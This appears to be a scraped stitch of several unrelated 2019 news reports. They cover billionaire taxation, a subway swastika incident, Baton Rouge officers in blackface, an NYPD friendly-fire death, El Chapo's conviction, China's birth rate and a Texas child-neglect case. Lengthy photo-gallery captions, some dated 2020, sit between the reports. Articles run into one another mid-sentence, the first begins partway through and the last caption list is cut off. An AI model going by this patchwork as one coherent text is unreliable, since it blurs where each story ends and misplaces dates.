Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Show all 15 1 /15 Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez greets fellow lawmakers ahead of the State of the Union address Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez participates in an event with Democratic members of Congress EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures The Democrat senator speaks during a news conference at the U.S. Capitol January 30, 2019 Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez and fellow Democrat Rashida Tlaib AP Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez at the Senate chamber to watch two votes on January 24, 2019 Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez arrives with Chellie Pingree at a House Democratic Caucus meeting Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez during Donald Trump's State of the Union address Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures New York State Assembly member Catalina Cruz with Ocasio-Cortez AFP/Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Nydia Velazquez talks with Alexandria Ocasio-Cortez Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez casts her vote for Nancy Pelosi as Speaker of the House EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez poses with a campaign worker during a whistle stop in the Queens borough of New York Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez outside the US Capitol AFP/Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez after casting her ballot in the 2018 midterm general election at a polling site in New York EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez looks on during a march organised by the Women's March Alliance in Manhattan Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio Cortez looks on at the Capitol in Washington, DC, on January 16, 2019 AFP/Getty

The billionaire added: I believe US tax rates can be more progressive. Now, you finally have some politicians who are so extreme that Id say, No, thats even beyond. You do start to create tax dodging and disincentives, and an incentive to have the income show up in other countries and things.

Ms Ocasio-Cortez said last month: I do think that a system that allows billionaires to exist when there are parts of Alabama where people are still getting ringworm because they dont have access to public health is wrong.

I dont think that necessarily means that all billionaires are immoral, she added. Its not to say someone like Bill Gates or Warren Buffet are immoral people.

Microsoft co-founder (AFP/Getty Images)

Mr Gates and his wife Melinda Gates have been pushing back against a new wave of criticism about whether billionaire philanthropy is a force for good.

The debate sparked into life last month at the World Economic Forum in Davos, Switzerland, where the Gates Foundation was a sponsor and Mr Gates discussed global health.

On one panel, historian Rutger Bregman berated all these stupid philanthropy schemes and suggested such billionaire-funded giving amounted to tax avoidance that exacerbated the problems it sought to tackle.

It feels like Im at a firefighters conference and no ones allowed to speak about water, Mr Bregman said. Just stop talking about philanthropy and start talking about taxes.

Ms Gates said the couple see a responsibility to support other philanthropists who want to do some good with their riches.

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We take the converse side of that, which is we say: What can we do personally with our wealth? What can we role model for others, and how do we get other people of great wealth to give their money away? she told Associated Press.

The couples foundation has spent nearly $7 million over the last three years building up a non-profit system to support both donors and grantees.

In 2010, Mr Gates launched the Giving Pledge, which has 187 wealthy members committed to giving away most of their money.Police are investigating after a swastika was reported on a New York City Subway car, prompting the removal of the train during the morning rush hour.

The incident was confirmed by the Metropolitan Transportation Authoritys (MTA) Twitter account, which responded to a disgruntled passenger waiting during their morning commute.

Hi Amanda. The out of service train was removed from service with swastikas in it, the Twitter account responded. There are L trains at just about every other station now between Bedford Av and Myrtle Av.

Another tweet read: "Good morning. Sad to say that the train was vandalised with swastikas".

Trains are regularly removed from service when graffiti is reported by a passenger or MTA employee, a spokesperson with the subway system told The Independent. The policy of train removal and cleaning has been around for decades, spurred by an effort in the city to clean up the subway systems image.

When asked if graffiti portraying something more benign  a child's cartoon, for instance  would justify taking a subway train out of service during rush hour, the spokesperson said it would. But, a full train being taken out of service would suggest that graffiti was found in multiple cars, they added.

Antisemitic hate crimes have been on the rise in the city, with the New York Police Department (NYPD) reporting last October that they had seen 142 of those crimes at that point in the year compared to 126 during the same period the year before.

In January of this year, too, the city saw an increase, according to NYPD statistics. While overall crime dropped 8 per cent in New York last month compared to January 2018, hate crimes spiked with 42 reported in the month compard to just 19 during the same time the year before, Police Commissioner James O'Neill and Mayor Bill De Blasio said during a press conference last month.

That increase does not appear to have been isolated to New York.

The Anti-Defamation League has noted that the rate of antisemitic hate crimes spiked following the Charlottesville white supremacist rally in 2017 where white nationalists killed a woman after driving through a crowd of peacefully assembled counter protesters.

Anti-racism demonstrations across Europe: in pictures Show all 15 1 /15 Anti-racism demonstrations across Europe: in pictures Anti-racism demonstrations across Europe: in pictures London A young boy holds a placard reading 'migration is beautiful' during the march against racism demonstration in London. Getty Anti-racism demonstrations across Europe: in pictures Warsaw Protesters rally in Warsaw under the slogan 'Tired of racism and fascism'. AFP/Getty Anti-racism demonstrations across Europe: in pictures London An anti-racism demostrators chants with chains around his neck during a march against racism. Getty Anti-racism demonstrations across Europe: in pictures Vienna People getting ready to march against racism in Vienna. Twitter/Wriseup Anti-racism demonstrations across Europe: in pictures Glasgow Anti-racism demonstrators take part in a rally through the city centre of Glasgow. Getty Anti-racism demonstrations across Europe: in pictures London An anti-racism demostrator holds a placard readin 'Laundry is the only thing that should be seperated by colour'. Getty Images Anti-racism demonstrations across Europe: in pictures Paris Thousand of protesters demonstrate against police brutality and in defense of migrants and those without papers in Paris. EPA Anti-racism demonstrations across Europe: in pictures London Anti-racism demostrators hold placards and chant during a march organised by the group Stand Up to Racism as an expression of unity against racism, Islamophobia and anti-Semitism. Getty Anti-racism demonstrations across Europe: in pictures Athens A girl poses for a photo during a rally against the EU-Turkey deal blocking mass migration into Europe in Athens. AP Anti-racism demonstrations across Europe: in pictures Glasgow Aamer Anwar a prominent Scottish lawyer joins an Anti-racism rally through Glasgow city centre. Getty Anti-racism demonstrations across Europe: in pictures London Anti-racism demostrators hold placards and chant in London's march against racism. Getty Anti-racism demonstrations across Europe: in pictures Glasgow A man in Glasgow holds a banner reading 'refugees welcome'. Getty Anti-racism demonstrations across Europe: in pictures London Anti-racism demostrators let off flares during the march against racism in London. Getty Anti-racism demonstrations across Europe: in pictures Paris A protester in a grim reaper disguise holds a shield reading 'State racism, no impunity for police brutality against those without papers' in Paris. EPA Anti-racism demonstrations across Europe: in pictures Athens Migrants who live in Greece chant slogans during a rally against the EU-Turkey deal blocking mass migration into Europe, in Athens. AP

In response to the incidents in Charlottesville, Donald Trump suggested that there had been fine people on both sides in the city on that day.

Those comments were widely criticised, with critics fearing that Mr Trump was giving cover to white supremacists by not forcefully denouncing their actions.

Evan Bernstein, the regional director in New York and New Jersey for the Anti-Defamation League, told The Independent that the incidents in Charlottesville  and the uptick in anti-semitic hate crimes reported throughout New York and the US recently  are the face of a growing movement that has taken root online, where racist ideas can flow freely.

"You've seen swastikas on synagogues, swastikas in synagogues," Mr Bernstein said. But "there's a lot of stuff that is not taking place in the public square that is a little bit harder to monitor and a little bit harder to track".

"Its not just what we saw in Charlottesville," he continued. "Its beyond that. That was a rare opportunity to see the face of hate in a very meaningful way".One night in February 1993, Frankie Caruso and another white Baton Rouge detective darkened their faces to impersonate black drug dealers, as part of what was then characterised as a successful sting operation.

Twenty-six years later, a photo of the two officers has emerged from an old police yearbook, with the caption Soul brothers. The blackface operation, which current officials said had been approved by the Police Department, drew swift condemnation this week from the citys mayor and its police chief.

Blackface photographs are inappropriate and offensive, Police Chief Murphy J Paul Jr said in a statement on Monday. They were inappropriate then and are inappropriate today. The Baton Rouge Police Department would like to apologise to our citizens and to anyone who may have been offended by the photographs.

Reached by phone, Mr Caruso, who retired in 2015 after more than 33 years with the department, however, was unapologetic. He said that while he understood racism better today  and that in 1993 he did not know the term or history of blackface  he did not think the disguise was inappropriate.

We did nothing wrong, Mr. Caruso said. We did a good operation. We made a lot of arrests in a neighborhood that was needing attention. Thats all there is to it.

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A national debate about the practice of blackface has erupted in recent weeks after a racist photograph surfaced on a medical school yearbook page belonging to Ralph Northam, now the governor of Virginia. Mr Northam denied appearing in that photo, but admitted to darkening his face another time.

With roots in demeaning minstrel-show traditions that date to the 1830s, blackface has a long history in American society.

At least one other report exists of a police department approving a law enforcement operation in blackface. United Press International reported in 1990 that white police officers in Naples, Florida, used blackface to pretend to be black crack cocaine dealers.

Robert J Louden, a professor emeritus of criminal justice and homeland security at Georgian Court University in New Jersey, said that he did not believe the practice is or was widespread. Thats in part because blackface could put undercover officers in danger if a potential drug buyer notices the disguise.

Its foolish and its dangerous, he said.

Jeannette Eileen Jones, a professor of history and ethnic studies at the University of Nebraska, Lincoln, said it was a symptom of a failure to recruit more black officers. Baton Rouge, Louisianas capital, is among the last cities in the state to remain under a federal decree intended to decrease discrimination against women and black applicants for the police and fire departments, The Advocate newspaper reported last year.

Youre claiming to take on someone elses racial traits, and given the history of blackface in the United States and its origins, I cant understand why anyone thinks thats OK, Ms. Jones said. It is simply about mocking and exaggerating and stereotyping an entire group of people.

On Monday evening, Sharon Weston Broome, the mayor-president of Baton Rouge, said in a statement that blackface is more than just a costume and that it invokes a painful history in this country and it is not appropriate in any situation.

While this may have been department-approved 25 years ago, that does not make it right, she said.

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The plan on the night in question in February 1993 was to have two white detectives, including Mr. Caruso, pretend to deal crack cocaine in a predominantly black neighborhood in Baton Rouge that had a high rate of street-level drug crime. Mr. Caruso said the narcotics team did have two black detectives, but their faces were known in the neighborhood.

The sting operation was also detailed in a 1993 article in The Advocate.

Mr Caruso likened using the disguise to preparing for other undercover assignments, like dressing as a biker or a prostitute.

Asked if he thought he was stereotyping black people, he said that he did not think he was, and that he was not intending to hurt anyone.

We dressed up for the assignment that we were working, he said.

In 2007, a photo of the two detectives was published in a police yearbook, according to a police spokesman.

Chief Paul said he found out about the photograph this week after it started circulating on social media.

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Today, we would not allow our officers to wear blackface in an official capacity under any circumstances, Chief Paul said in the statement.

He said the department is bound by the Louisiana Law Enforcement Bill of Rights, which places a timeline on administrative investigations related to officer conduct.

One of the two officers is still with the department, the police spokesman said. He said the Baton Rouge police did not plan to further investigate the photograph or discipline the officer.

Mr Caruso said that in todays times, people are trying to look at anything that they can to make a race issue out of something.

So, would he use blackface in a drug operation today?

Because of the way everything in the world today is with race, and everybody talking about race relations and blackface, and all these things that theyre talking about right now, he said, I probably would not do it today.

The New York TimesA New York City police officer was shot and killed by friendly fire after he and another detective responded to an armed robbery.

Brian Simonsen, 42, was shot in the chest and declared dead, the citys police chief said.

The second detective was shot in the leg but was listed as stable, police commissioner James ONeill said.

Mr ONeill said the two detectives were in civilian clothes as they responded to a call about a robbery at a T-Mobile store in Queens.

They shot at the man and retreated from the store, which was surrounded by other officers.

Detective Brian Simonsen was shot in the chest while responding to an armed robbery (New York City Police Department via AP)

The other officers responded and fired multiple rounds, during which Mr Simonsen was hit, according to Mr ONeill.

This is an absolute tragedy, the worst outcome any police officer or family of a police officer could ever imagine, Mr ONeill said.

Friendly fire aside, it is because of the actions of the suspect that Detective Simonsen is dead.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. 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Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The suspect was not identified by police, but was described as a 27-year-old career criminal.

He was shot multiple times and taken to hospital and an imitation firearm was found at the scene, Mr ONeill said.

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Mr Simonsen was the first New York police officer to die in the line of duty since July 2017.Footage has emerged of Mexican drug lord El Chapo in tears as he arrived in the US following his arrest in 2017.

The 61-year-old, whose real name is Joaquin Guzman, was convicted on Tuesday of running a major criminal enterprise smuggling drugs worth billions of dollars into the US.

In the wake of his conviction, the US Justice Department released a video showing him staring blankly out of an aeroplane window, before wiping away a tear upon disembarking.

He is likely to be held behind bars for decades in a maximum-security US prison, selected especially to thwart another one of the breakouts which made him a folk hero in Mexico.

Inside Mexicos top drug lord El Chapos hideout Show all 4 1 /4 Inside Mexicos top drug lord El Chapos hideout Inside Mexicos top drug lord El Chapos hideout Inside El Chapo's hideout Pictures reveal how the Mexican drug lord had been living since his escape Getty Inside Mexicos top drug lord El Chapos hideout Inside El Chapo's hideout The inside of a house searched by marine special forces where Guzman was hiding Getty Inside Mexicos top drug lord El Chapos hideout Inside El Chapo's hideout Inside a house searched by marine special forces during the military operation to recapture Guzman Getty Inside Mexicos top drug lord El Chapos hideout El Chapo's attempted escape A marine stands guard next to a manhole of the sewer system through which drug kingpin Joaquin 'El Chapo' Guzman tried to escape Getty

A jury whose members identities were kept secret as a security measure reached a verdict after six days of deliberations.

They sorted through what authorities called an avalanche of evidence gathered since the late 1980s that Guzman and his murderous Sinaloa drug cartel made billions by smuggling tonnes of cocaine, heroin, crystal meth and marijuana into the US.

As the judge read the verdict, he stared at the jury, and his wife looked on, both with resignation in their faces. When the jurors were discharged and Guzman stood to leave the courtroom, the couple gave each other a thumbs-up.

 Special agent in charge of Homeland Security gives statement following El Chapo guilty jury verdict

The defence case lasted just half an hour. Guzmans lawyers did not deny his crimes, but argued he was a fall guy for government witnesses who were more evil than he was.

In closing arguments, defence lawyer Jeffrey Lichtman urged the jury not to believe government witnesses who lie, steal, cheat, deal drugs and kill people.

Mr Lichtman said the defence fought like complete savages and will appeal against the verdict. No matter who the defendant is, you still have to fight to the death.

He said his client was a positive thinker who doesnt give up.

Upon hearing the verdict, Guzman was as cool as a cucumber, Mr Lichtman added. Honest to God, we were more upset than he was.

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He will be sentenced on 25 June.

Additional reporting by ReutersChina's birth rate fell to its lowest level in decades last year, new figures reveal.

It stood at 10.94 per thousand in 2018, compared to 12.43 per thousand in 2017, according to data released by the country's statistics bureau.

It has never been lower in the history of the People's Republic of China, which was founded in 1949.

The new figures mean that 2 million fewer babies were born in China in 2018.

Figures also show that the rate of natural increase in population, deducting the number of deaths, has also slowed.

Year of the Pig: Chinese new year celebrations around the world Show all 43 1 /43 Year of the Pig: Chinese new year celebrations around the world Year of the Pig: Chinese new year celebrations around the world Performers take part in a fire dragon dance under a shower of molten iron sparks on the first day of the Chinese Lunar New Year of the Pig, in Zaozhuang REUTERS Year of the Pig: Chinese new year celebrations around the world Filipino-Chinese children display piggy banks at the start of celebrations for Lunar New Year in Chinatown, Manila, Philippines AP Year of the Pig: Chinese new year celebrations around the world A lion dance troupe performs among visitors jostling for freebies thrown to them during celebrations for the Lunar New Year of the Pig in Manila's Chinatown district AFP/Getty Year of the Pig: Chinese new year celebrations around the world People buy flowers at a New Year market in Hong Kong's Victoria Park AP/Vincent Yu Year of the Pig: Chinese new year celebrations around the world Performers take part in a night parade to celebrate Chinese New Year in Hong Kong AP Year of the Pig: Chinese new year celebrations around the world Lion dancers dance around firecrackers as they explode in the street while ushering in Chinese New Year in San Francisco, California Getty Year of the Pig: Chinese new year celebrations around the world People look at festive New Year pig ornaments in the China Town area of London AFP/Getty Year of the Pig: Chinese new year celebrations around the world Drummers perform in front of a mural reading "2019" at a temple fair at Longtan Park in Beijing AP Year of the Pig: Chinese new year celebrations around the world AP Year of the Pig: Chinese new year celebrations around the world A performer blows fire during Chinese New Year celebrations at Manila's Chinatown Reuters Year of the Pig: Chinese new year celebrations around the world (Credit too long, see caption) Year of the Pig: Chinese new year celebrations around the world AP Year of the Pig: Chinese new year celebrations around the world Dancers perform a Dragon dance next to revelers in Manila EPA Year of the Pig: Chinese new year celebrations around the world anterns are carried through the streets to be hung on Chinese New Year in Chinatown in London Getty Images Year of the Pig: Chinese new year celebrations around the world Diners take part in the largest yum cha meal in Sydney, Australia EPA Year of the Pig: Chinese new year celebrations around the world Children celebrate the Lunar New Year in Chinatown in New York Getty Images Year of the Pig: Chinese new year celebrations around the world A crowd jostles to grab items being thrown at them during celebrations AP Year of the Pig: Chinese new year celebrations around the world Performers take part in a Chinese New Year parade in Tsim Sha Tsui EPA Year of the Pig: Chinese new year celebrations around the world (Credit too long, see caption) Year of the Pig: Chinese new year celebrations around the world (Credit too long, see caption) Year of the Pig: Chinese new year celebrations around the world (Credit too long, see caption) Year of the Pig: Chinese new year celebrations around the world AP Year of the Pig: Chinese new year celebrations around the world Girls react to a squealing Teacup pig, a rare pet in the Philippines, at the start of celebrations leading to the Chinese New Year at Manila's Lucky Chinatown Plaza in Manila AP/Bullit Marquez Year of the Pig: Chinese new year celebrations around the world A family poses in front of red lanterns on display at the Longtan Park for a temple fair ahead of Chinese Lunar New Year in Beijing, China AP/Andy Wong Year of the Pig: Chinese new year celebrations around the world Vendors carrying pig-shaped balloons for sale to mark the Lunar New Year in Hanoi, Vietnam AP/Hau Dinh Year of the Pig: Chinese new year celebrations around the world A vendor packs sweets at the Dihua Street market in Taipei, Taiwan on 29 January. Taiwanese shoppers started hunting for delicacies, dried goods, and other bargains at the market ahead of the Lunar New Year AP/Chiang Ying-ying Year of the Pig: Chinese new year celebrations around the world Women take a selfie near a tree decorated with red lanterns AP/Andy Wong Year of the Pig: Chinese new year celebrations around the world An ethnic Chinese-Thai man offers flowers after prayers at the Leng Nuei Yee Chinese temple AP/Sakchai Lalit Year of the Pig: Chinese new year celebrations around the world Two divers perform an underwater Chinese Lion Dance ahead of Chinese New Year celebrations at Aquaria KLCC underwater park in Kuala Lumpur, Malaysia on 30 January AP/Vincent Thian Year of the Pig: Chinese new year celebrations around the world Travellers wait for their trains at a railway station in Hangzhou in east China's Zhejiang province on 28 January. The world's largest annual migration has begun in China with millions of Chinese travelling to their hometowns to celebrate the Lunar New Year Chinatopix via AP Year of the Pig: Chinese new year celebrations around the world Dancers perform the dragon dance in during new year celebrations in the Chinatown disctrict of Manila, Philippines AP Year of the Pig: Chinese new year celebrations around the world Lion dancers perform on the glass deck of the King Power Mahanakhon building, Thailand's tallest, in Bangkok AP Year of the Pig: Chinese new year celebrations around the world Chinese performers dressed in traditional costumes attend a rehearsal of a reenactment of a Qing dynasty (1636-1912) imperial sacrifice ritual to worship the Earth, on the eve of the Chinese New Year, at Ditan Park in Beijing EPA Year of the Pig: Chinese new year celebrations around the world A woman takes a photo in a sculpture made of pigs as part of celebrations for the Year of the Pig in Sydney, Australia EPA Year of the Pig: Chinese new year celebrations around the world Year of the Pig merchandise for sale at a market in Phnom Penh, Cambodia EPA Year of the Pig: Chinese new year celebrations around the world A diver wearing a traditional Chinese outfit feeds fish on the eve of Chinese New Year in Manila, Philippines EPA Year of the Pig: Chinese new year celebrations around the world Fireworks explode behind the Sydney Opera House as it glows red as part of celebrations for Chinese New Year of the pig, in Sydney, Australia EPA Year of the Pig: Chinese new year celebrations around the world Men perform a dragon dance called Liong ahead of Chinese New Year during the Grebeg Suro ceremony in Solo, Central Java province, Indonesia Reuters Year of the Pig: Chinese new year celebrations around the world Performers rehearse a re-enactment of a Chinese New Year Qing Dynasty ceremony at the Temple of Earth in Ditan Park in Beijing Reuters Year of the Pig: Chinese new year celebrations around the world Lion dancers pose on the glass deck of the King Power Mahanakhon building, Thailand's tallest, in Bangkok AP Year of the Pig: Chinese new year celebrations around the world A Malaysian ethnic Chinese family take a selfie a temple in Kuala Lumpur, Malaysia AP Year of the Pig: Chinese new year celebrations around the world Indonesian ethnic Chinese people carry offerings during Chinese New Year celebrations at a temple in Kuta, Bali, Indonesia EPA Year of the Pig: Chinese new year celebrations around the world A tourist walks under decorative lanterns ahead of the upcoming Chinese New Year celebrations at Thean Hou Temple in Kuala Lumpur, Malaysia EPA

It is now at its lowest level since the aftermath of a famine in the early 1960s.

China relaxed its notorious one child policy in 2016 by allowing urban couples to have two children, but the new rules have done little to encourage more births.

The policy change was spurred by fears about the country's increasingly ageing population.

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China's statistics bureau did not suggest a reason for the rate's fall, but in 2018 economic growth in the country fell to its lowest in nearly 30 years.

Many couples are reluctant to have children due to high property prices and soaring healthcare and education costs.

In January, a government-affiliated think tank warned that the population in the worlds second-biggest economy could start to shrink as soon as 2027.

Additional reporting by agenciesFour children were found in a state of neglect on a property near Rhome, Texas, about 20 miles (32 km) on Tuesday, with two of the children locked in a small dog kennel.

Aged five, four, three, and one, all four were malnourished and covered in feces and urine amidst filthy and cluttered living conditions, according to the Wise County deputies. The older two children were locked in a 3-by-3 foot dog cage (90-by-90 centimeteres).

The discovery was made after sheriffs deputies responded to a domestic incident found 24-year-old Andrew Joseph Fabila, father to one of the children, with scratches covering his face, and Paige Harkings, believed to be the mother of all four.

During the response deputies heard the childrens voices from a makeshift space inside an outbuilding and found them all to be malnourished and without access to food and water.

This is at the top of the list of worst cases, as far as children, Craig Johnson, Chief Deputy, Wise County Sheriff's Department said in a press conference on February 12.

There was plenty of food inside the barn, but the refrigerator and the cabinets had been locked so the kids could not get in to get food, Lane Akin, the Wise County Sheriff, told the Associated Press.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better 